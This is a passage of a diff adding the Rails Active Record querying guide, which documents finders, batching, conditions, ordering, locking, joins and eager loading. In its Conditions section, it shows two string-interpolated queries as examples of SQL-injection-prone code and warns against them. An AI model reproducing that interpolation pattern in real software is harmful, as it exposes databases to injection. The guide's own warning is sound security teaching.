a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md new file mode 100644 index 0000000000..fd1dcf22c0 --- /dev/null +++ b/guides/source/active_record_querying.md @@ -0,0 +1,2044 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Record Query Interface +============================= + +This guide covers different ways to retrieve data from the database using Active Record. + +After reading this guide, you will know: + +* How to find records using a variety of methods and conditions. +* How to specify the order, retrieved attributes, grouping, and other properties of the found records. +* How to use eager loading to reduce the number of database queries needed for data retrieval. +* How to use dynamic finder methods. +* How to use method chaining to use multiple Active Record methods together. +* How to check for the existence of particular records. +* How to perform various calculations on Active Record models. +* How to run EXPLAIN on relations. + +-------------------------------------------------------------------------------- + +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. + +Code examples throughout this guide will refer to one or more of the following models: + +TIP: All of the following models use `id` as the primary key, unless specified otherwise. + +```ruby +class Client < ApplicationRecord + has_one :address + has_many :orders + has_and_belongs_to_many :roles +end +``` + +```ruby +class Address < ApplicationRecord + belongs_to :client +end +``` + +```ruby +class Order < ApplicationRecord + belongs_to :client, counter_cache: true +end +``` + +```ruby +class Role < ApplicationRecord + has_and_belongs_to_many :clients +end +``` + +Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same. + +Retrieving Objects from the Database +------------------------------------ + +To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL. + +The methods are: + +* `find` +* `create_with` +* `distinct` +* `eager_load` +* `extending` +* `from` +* `group` +* `having` +* `includes` +* `joins` +* `left_outer_joins` +* `limit` +* `lock` +* `none` +* `offset` +* `order` +* `preload` +* `readonly` +* `references` +* `reorder` +* `reverse_order` +* `select` +* `where` + +Finder methods that return a collection, such as `where` and `group`, return an instance of `ActiveRecord::Relation`. Methods that find a single entity, such as `find` and `first`, return a single instance of the model. + +The primary operation of `Model.find(options)` can be summarized as: + +* Convert the supplied options to an equivalent SQL query. +* Fire the SQL query and retrieve the corresponding results from the database. +* Instantiate the equivalent Ruby object of the appropriate model for every resulting row. +* Run `after_find` and then `after_initialize` callbacks, if any. + +### Retrieving a Single Object + +Active Record provides several different ways of retrieving a single object. + +#### `find` + +Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: + +```ruby +# Find the client with primary key (id) 10. +client = Client.find(10) +# => #<Client id: 10, first_name: "Ryan"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1 +``` + +The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found. + +You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example: + +```ruby +# Find the clients with primary keys 1 and 10. +clients = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients WHERE (clients.id IN (1,10)) +``` + +WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys. + +#### `take` + +The `take` method retrieves a record without any implicit ordering. For example: + +```ruby +client = Client.take +# => #<Client id: 1, first_name: "Lifo"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients LIMIT 1 +``` + +The `take` method returns `nil` if no record is found and no exception will be raised. + +You can pass in a numerical argument to the `take` method to return up to that number of results. For example + +```ruby +clients = Client.take(2) +# => [ +# #<Client id: 1, first_name: "Lifo">, +# #<Client id: 220, first_name: "Sara"> +# ] +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients LIMIT 2 +``` + +The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. + +TIP: The retrieved record may vary depending on the database engine. + +#### `first` + +The `first` method finds the first record ordered by primary key (default). For example: + +```ruby +client = Client.first +# => #<Client id: 1, first_name: "Lifo"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1 +``` + +The `first` method returns `nil` if no matching record is found and no exception will be raised. + +If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `first` will return the first record according to this ordering. + +You can pass in a numerical argument to the `first` method to return up to that number of results. For example + +```ruby +clients = Client.first(3) +# => [ +# #<Client id: 1, first_name: "Lifo">, +# #<Client id: 2, first_name: "Fifo">, +# #<Client id: 3, first_name: "Filo"> +# ] +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3 +``` + +On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`. + +```ruby +client = Client.order(:first_name).first +# => #<Client id: 2, first_name: "Fifo"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1 +``` + +The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. + +#### `last` + +The `last` method finds the last record ordered by primary key (default). For example: + +```ruby +client = Client.last +# => #<Client id: 221, first_name: "Russel"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 +``` + +The `last` method returns `nil` if no matching record is found and no exception will be raised. + +If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `last` will return the last record according to this ordering. + +You can pass in a numerical argument to the `last` method to return up to that number of results. For example + +```ruby +clients = Client.last(3) +# => [ +# #<Client id: 219, first_name: "James">, +# #<Client id: 220, first_name: "Sara">, +# #<Client id: 221, first_name: "Russel"> +# ] +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3 +``` + +On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`. + +```ruby +client = Client.order(:first_name).last +# => #<Client id: 220, first_name: "Sara"> +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1 +``` + +The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. + +#### `find_by` + +The `find_by` method finds the first record matching some conditions. For example: + +```ruby +Client.find_by first_name: 'Lifo' +# => #<Client id: 1, first_name: "Lifo"> + +Client.find_by first_name: 'Jon' +# => nil +``` + +It is equivalent to writing: + +```ruby +Client.where(first_name: 'Lifo').take +``` + +The SQL equivalent of the above is: + +```sql +SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1 +``` + +The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example: + +```ruby +Client.find_by! first_name: 'does not exist' +# => ActiveRecord::RecordNotFound +``` + +This is equivalent to writing: + +```ruby +Client.where(first_name: 'does not exist').take! +``` + +### Retrieving Multiple Objects in Batches + +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. + +This may appear straightforward: + +```ruby +# This may consume too much memory if the table is big. +User.all.each do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. + +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. + +#### `find_each` + +The `find_each` method retrieves records in batches and then yields _each_ one to the block. In the following example, `find_each` retrieves users in batches of 1000 and yields them to the block one by one: + +```ruby +User.find_each do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +This process is repeated, fetching more batches as needed, until all of the records have been processed. + +`find_each` works on model classes, as seen above, and also on relations: + +```ruby +User.where(weekly_subscriber: true).find_each do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +as long as they have no ordering, since the method needs to force an order +internally to iterate. + +If an order is present in the receiver the behaviour depends on the flag +`config.active_record.error_on_ignored_order`. If true, `ArgumentError` is +raised, otherwise the order is ignored and a warning issued, which is the +default. This can be overridden with the option `:error_on_ignore`, explained +below. + +##### Options for `find_each` + +**`:batch_size`** + +The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: + +```ruby +User.find_each(batch_size: 5000) do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +**`:start`** + +By default, records are fetched in ascending order of the primary key. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. + +For example, to send newsletters only to users with the primary key starting from 2000: + +```ruby +User.find_each(start: 2000) do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +**`:finish`** + +Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. +This would be useful, for example, if you wanted to run a batch process using a subset of records based on `:start` and `:finish`. + +For example, to send newsletters only to users with the primary key starting from 2000 up to 10000: + +```ruby +User.find_each(start: 2000, finish: 10000) do |user| + NewsMailer.weekly(user).deliver_now +end +``` + +Another example would be if you wanted multiple workers handling the same +processing queue. You could have each worker handle 10000 records by setting the +appropriate `:start` and `:finish` options on each worker. + +**`:error_on_ignore`** + +Overrides the application config to specify if an error should be raised when an +order is present in the relation. + +#### `find_in_batches` + +The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: + +```ruby +# Give add_invoices an array of 1000 invoices at a time. +Invoice.find_in_batches do |invoices| + export.add_invoices(invoices) +end +``` + +`find_in_batches` works on model classes, as seen above, and also on relations: + +```ruby +Invoice.pending.find_in_batches do |invoices| + pending_invoices_export.add_invoices(invoices) +end +``` + +as long as they have no ordering, since the method needs to force an order +internally to iterate. + +##### Options for `find_in_batches` + +The `find_in_batches` method accepts the same options as `find_each`. + +Conditions +---------- + +The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash. + +### Pure String Conditions + +If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2. + +WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array. + +### Array Conditions + +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: + +```ruby +Client.where("orders_count = ?", params[:orders]) +``` + +Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks `(?)` in it. + +If you want to specify multiple conditions: + +```ruby +Client.where("orders_count = ? AND locked = ?", params[:orders], false) +``` + +In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter. + +This code is highly preferable: + +```ruby +Client.where("orders_count = ?", params[:orders]) +``` + +to this code: + +```ruby +Client.where("orders_count = #{params[:orders]}") +``` + +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. + +TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). + +#### Placeholder Conditions + +Similar to the `(?)` replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash: + +```ruby +Client.where("created_at >= :start_date AND created_at <= :end_date", + {start_date: params[:start_date], end_date: params[:end_date]}) +``` + +This makes for clearer readability if you have a large number of variable conditions. + +### Hash Conditions + +Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them: + +NOTE: Only equality, range, and subset checking are possible with Hash conditions. + +#### Equality Conditions + +```ruby +Client.where(locked: true) +``` + +This will generate SQL like this: + +```sql +SELECT * FROM clients WHERE (clients.locked = 1) +``` + +The field name can also be a string: + +```ruby +Client.where('locked' => true) +``` + +In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well. + +```ruby +Article.where(author: author) +Author.joins(:articles).where(articles: { author: author }) +``` + +#### Range Conditions + +```ruby +Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight) +``` + +This will find all clients created yesterday by using a `BETWEEN` SQL statement: + +```sql +SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') +``` + +This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions) + +#### Subset Conditions + +If you want to find records using the `IN` expression you can pass an array to the conditions hash: + +```ruby +Client.where(orders_count: [1,3,5]) +``` + +This code will generate SQL like this: + +```sql +SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) +``` + +### NOT Conditions + +`NOT` SQL queries can be built by `where.not`: + +```ruby +Client.where.not(locked: true) +``` + +In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. This will generate SQL like this: + +```sql +SELECT * FROM clients WHERE (clients.locked != 1) +``` + +### OR Conditions + +`OR` conditions between two relations can be built by calling `or` on the first +relation, and passing the second one as an argument. + +```ruby +Client.where(locked: true).or(Client.where(orders_count: [1,3,5])) +``` + +```sql +SELECT * FROM clients WHERE (clients.locked = 1 OR clients.orders_count IN (1,3,5)) +``` + +Ordering +-------- + +To retrieve records from the database in a specific order, you can use the `order` method. + +For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: + +```ruby +Client.order(:created_at) +# OR +Client.order("created_at") +``` + +You could specify `ASC` or `DESC` as well: + +```ruby +Client.order(created_at: :desc) +# OR +Client.order(created_at: :asc) +# OR +Client.order("created_at DESC") +# OR +Client.order("created_at ASC") +``` + +Or ordering by multiple fields: + +```ruby +Client.order(orders_count: :asc, created_at: :desc) +# OR +Client.order(:orders_count, created_at: :desc) +# OR +Client.order("orders_count ASC, created_at DESC") +# OR +Client.order("orders_count ASC", "created_at DESC") +``` + +If you want to call `order` multiple times, subsequent orders will be appended to the first: + +```ruby +Client.order("orders_count ASC").order("created_at DESC") +# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC +``` +WARNING: If you are using **MySQL 5.7.5** and above, then on selecting fields from a result set using methods like `select`, `pluck` and `ids`; the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in `order` clause are included in the select list. See the next section for selecting fields from the result set. + +Selecting Specific Fields +------------------------- + +By default, `Model.find` selects all the fields from the result set using `select *`. + +To select only a subset of fields from the result set, you can specify the subset via the `select` method. + +For example, to select only `viewable_by` and `locked` columns: + +```ruby +Client.select("viewable_by, locked") +``` + +The SQL query used by this find call will be somewhat like: + +```sql +SELECT viewable_by, locked FROM clients +``` + +Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: + +```bash +ActiveModel::MissingAttributeError: missing attribute: <attribute> +``` + +Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly. + +If you would like to only grab a single record per unique value in a certain field, you can use `distinct`: + +```ruby +Client.select(:name).distinct +``` + +This would generate SQL like: + +```sql +SELECT DISTINCT name FROM clients +``` + +You can also remove the uniqueness constraint: + +```ruby +query = Client.select(:name).distinct +# => Returns unique names + +query.distinct(false) +# => Returns all names, even if there are duplicates +``` + +Limit and Offset +---------------- + +To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation. + +You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example + +```ruby +Client.limit(5) +``` + +will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this: + +```sql +SELECT * FROM clients LIMIT 5 +``` + +Adding `offset` to that + +```ruby +Client.limit(5).offset(30) +``` + +will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like: + +```sql +SELECT * FROM clients LIMIT 5 OFFSET 30 +``` + +Group +----- + +To apply a `GROUP BY` clause to the SQL fired by the finder, you can use the `group` method. + +For example, if you want to find a collection of the dates on which orders were created: + +```ruby +Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") +``` + +And this will give you a single `Order` object for each date where there are orders in the database. + +The SQL that would be executed would be something like this: + +```sql +SELECT date(created_at) as ordered_date, sum(price) as total_price +FROM orders +GROUP BY date(created_at) +``` + +### Total of grouped items + +To get the total of grouped items on a single query, call `count` after the `group`. + +```ruby +Order.group(:status).count +# => { 'awaiting_approval' => 7, 'paid' => 12 } +``` + +The SQL that would be executed would be something like this: + +```sql +SELECT COUNT (*) AS count_all, status AS status +FROM "orders" +GROUP BY status +``` + +Having +------ + +SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `having` method to the find. + +For example: + +```ruby +Order.select("date(created_at) as ordered_date, sum(price) as total_price"). + group("date(created_at)").having("sum(price) > ?", 100) +``` + +The SQL that would be executed would be something like this: + +```sql +SELECT date(created_at) as ordered_date, sum(price) as total_price +FROM orders +GROUP BY date(created_at) +HAVING sum(price) > 100 +``` + +This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100. + +Overriding Conditions +--------------------- + +### `unscope` + +You can specify certain conditions to be removed using the `unscope` method. For example: + +```ruby +Article.where('id > 10').limit(20).order('id asc').unscope(:order) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM articles WHERE id > 10 LIMIT 20 + +# Original query without `unscope` +SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20 + +``` + +You can also unscope specific `where` clauses. For example: + +```ruby +Article.where(id: 10, trashed: false).unscope(where: :id) +# SELECT "articles".* FROM "articles" WHERE trashed = 0 +``` + +A relation which has used `unscope` will affect any relation into which it is merged: + +```ruby +Article.order('id asc').merge(Article.unscope(:order)) +# SELECT "articles".* FROM "articles" +``` + +### `only` + +You can also override conditions using the `only` method. For example: + +```ruby +Article.where('id > 10').limit(20).order('id desc').only(:order, :where) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM articles WHERE id > 10 ORDER BY id DESC + +# Original query without `only` +SELECT * FROM articles WHERE id > 10 ORDER BY id DESC LIMIT 20 + +``` + +### `reorder` + +The `reorder` method overrides the default scope order. For example: + +```ruby +class Article < ApplicationRecord + has_many :comments, -> { order('posted_at DESC') } +end + +Article.find(10).comments.reorder('name') +``` + +The SQL that would be executed: + +```sql +SELECT * FROM articles WHERE id = 10 LIMIT 1 +SELECT * FROM comments WHERE article_id = 10 ORDER BY name +``` + +In the case where the `reorder` clause is not used, the SQL executed would be: + +```sql +SELECT * FROM articles WHERE id = 10 LIMIT 1 +SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC +``` + +### `reverse_order` + +The `reverse_order` method reverses the ordering clause if specified. + +```ruby +Client.where("orders_count > 10").order(:name).reverse_order +``` + +The SQL that would be executed: + +```sql +SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC +``` + +If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order. + +```ruby +Client.where("orders_count > 10").reverse_order +``` + +The SQL that would be executed: + +```sql +SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC +``` + +This method accepts **no** arguments. + +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Article.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM articles WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Article.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0 +``` + +Null Relation +------------- + +The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results. + +```ruby +Article.none # returns an empty Relation and fires no queries. +``` + +```ruby +# The visible_articles method below is expected to return a Relation. +@articles = current_user.visible_articles.where(name: params[:name]) + +def visible_articles + case role + when 'Country Manager' + Article.where(country: country) + when 'Reviewer' + Article.published + when 'Bad User' + Article.none # => returning [] or nil breaks the caller code in this case + end +end +``` + +Readonly Objects +---------------- + +Active Record provides the `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception. + +```ruby +client = Client.readonly.first +client.visits += 1 +client.save +``` + +As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_. + +Locking Records for Update +-------------------------- + +Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates. + +Active Record provides two locking mechanisms: + +* Optimistic Locking +* Pessimistic Locking + +### Optimistic Locking + +Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored. + +**Optimistic locking column** + +In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example: + +```ruby +c1 = Client.find(1) +c2 = Client.find(1) + +c1.first_name = "Michael" +c1.save + +c2.name = "should fail" +c2.save # Raises an ActiveRecord::StaleObjectError +``` + +You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. + +This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`. + +To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`: + +```ruby +class Client < ApplicationRecord + self.locking_column = :lock_client_column +end +``` + +### Pessimistic Locking + +Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions. + +For example: + +```ruby +Item.transaction do + i = Item.lock.first + i.name = 'Jones' + i.save! +end +``` + +The above session produces the following SQL for a MySQL backend: + +```sql +SQL (0.2ms) BEGIN +Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE +Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1 +SQL (0.8ms) COMMIT +``` + +You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: + +```ruby +Item.transaction do + i = Item.lock("LOCK IN SHARE MODE").find(1) + i.increment!(:views) +end +``` + +If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code: + +```ruby +item = Item.first +item.with_lock do + # This block is called within a transaction, + # item is already locked. + item.increment!(:views) +end +``` + +Joining Tables +-------------- + +Active Record provides two finder methods for specifying `JOIN` clauses on the +resulting SQL: `joins` and `left_outer_joins`. +While `joins` should be used for `INNER JOIN` or custom queries, +`left_outer_joins` is used for queries using `LEFT OUTER JOIN`. + +### `joins` + +There are multiple ways to use the `joins` method. + +#### Using a String SQL Fragment + +You can just supply the raw SQL specifying the `JOIN` clause to `joins`: + +```ruby +Author.joins("INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't'") +``` + +This will result in the following SQL: + +```sql +SELECT authors.* FROM authors INNER JOIN posts ON posts.author_id = authors.id AND posts.published = 't' +``` + +#### Using Array/Hash of Named Associations + +Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method. + +For example, consider the following `Category`, `Article`, `Comment`, `Guest` and `Tag` models: + +```ruby +class Category < ApplicationRecord + has_many :articles +end + +class Article < ApplicationRecord + belongs_to :category + has_many :comments + has_many :tags +end + +class Comment < ApplicationRecord + belongs_to :article + has_one :guest +end + +class Guest < ApplicationRecord + belongs_to :comment +end + +class Tag < ApplicationRecord + belongs_to :article +end +``` + +Now all of the following will produce the expected join queries using `INNER JOIN`: + +##### Joining a Single Association + +```ruby +Category.joins(:articles) +``` + +This produces: + +```sql +SELECT categories.* FROM categories + INNER JOIN articles ON articles.category_id = categories.id +``` + +Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use `Category.joins(:articles).distinct`. + +#### Joining Multiple Associations + +```ruby +Article.joins(:category, :comments) +``` + +This produces: + +```sql +SELECT articles.* FROM articles + INNER JOIN categories ON categories.id = articles.category_id + INNER JOIN comments ON comments.article_id = articles.id +``` + +Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times. + +##### Joining Nested Associations (Single Level) + +```ruby +Article.joins(comments: :guest) +``` + +This produces: + +```sql +SELECT articles.* FROM articles + INNER JOIN comments ON comments.article_id = articles.id + INNER JOIN guests ON guests.comment_id = comments.id +``` + +Or, in English: "return all articles that have a comment made by a guest." + +##### Joining Nested Associations (Multiple Level) + +```ruby +Category.joins(articles: [{ comments: :guest }, :tags]) +``` + +This produces: + +```sql +SELECT categories.* FROM categories + INNER JOIN articles ON articles.category_id = categories.id + INNER JOIN comments ON comments.article_id = articles.id + INNER JOIN guests ON guests.comment_id = comments.id + INNER JOIN tags ON tags.article_id = articles.id +``` + +Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag." + +#### Specifying Conditions on the Joined Tables + +You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provide a special syntax for specifying conditions for the joined tables: + +```ruby +time_range = (Time.now.midnight - 1.day)..Time.now.midnight +Client.joins(:orders).where('orders.created_at' => time_range) +``` + +An alternative and cleaner syntax is to nest the hash conditions: + +```ruby +time_range = (Time.now.midnight - 1.day)..Time.now.midnight +Client.joins(:orders).where(orders: { created_at: time_range }) +``` + +This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. + +### `left_outer_joins` + +If you want to select a set of records whether or not they have associated +records you can use the `left_outer_joins` method. + +```ruby +Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id') +``` + +Which produces: + +```sql +SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors" +LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id +``` + +Which means: "return all authors with their count of posts, whether or not they +have any posts at all" + + +Eager Loading Associations +-------------------------- + +Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible. + +**N + 1 queries problem** + +Consider the following code, which finds 10 clients and prints their postcodes: + +```ruby +clients = Client.limit(10) + +clients.each do |client| + puts client.address.postcode +end +``` + +This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total. + +**Solution to N + 1 queries problem** + +Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries. + +Revisiting the above case, we could rewrite `Client.limit(10)` to eager load addresses: + +```ruby +clients = Client.includes(:address).limit(10) + +clients.each do |client| + puts client.address.postcode +end +``` + +The above code will execute just **2** queries, as opposed to **11** queries in the previous case: + +```sql +SELECT * FROM clients LIMIT 10 +SELECT addresses.* FROM addresses + WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) +``` + +### Eager Loading Multiple Associations + +Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method. + +#### Array of Multiple Associations + +```ruby +Article.includes(:category, :comments) +``` + +This loads all the articles and the associated category and comments for each article. + +#### Nested Associations Hash + +```ruby +Category.includes(articles: [{ comments: :guest }, :tags]).find(1) +``` + +This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association. + +### Specifying Conditions on Eager Loaded Associations + +Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead. + +However if you must do this, you may use `where` as you would normally. + +```ruby +Article.includes(:comments).where(comments: { visible: true }) +``` + +This would generate a query which contains a `LEFT OUTER JOIN` whereas the +`joins` method would generate one using the `INNER JOIN` function instead. + +```ruby + SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1) +``` + +If there was no `where` condition, this would generate the normal set of two queries. + +NOTE: Using `where` like this will only work when you pass it a Hash. For +SQL-fragments you need to use `references` to force joined tables: + +```ruby +Article.includes(:comments).where("comments.visible = true").references(:comments) +``` + +If, in the case of this `includes` query, there were no comments for any +articles, all the articles would still be loaded. By using `joins` (an INNER +JOIN), the join conditions **must** match, otherwise no records will be +returned. + +NOTE: If an association is eager loaded as part of a join, any fields from a custom select clause will not be present on the loaded models. +This is because it is ambiguous whether they should appear on the parent record, or the child. + +Scopes +------ + +Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and 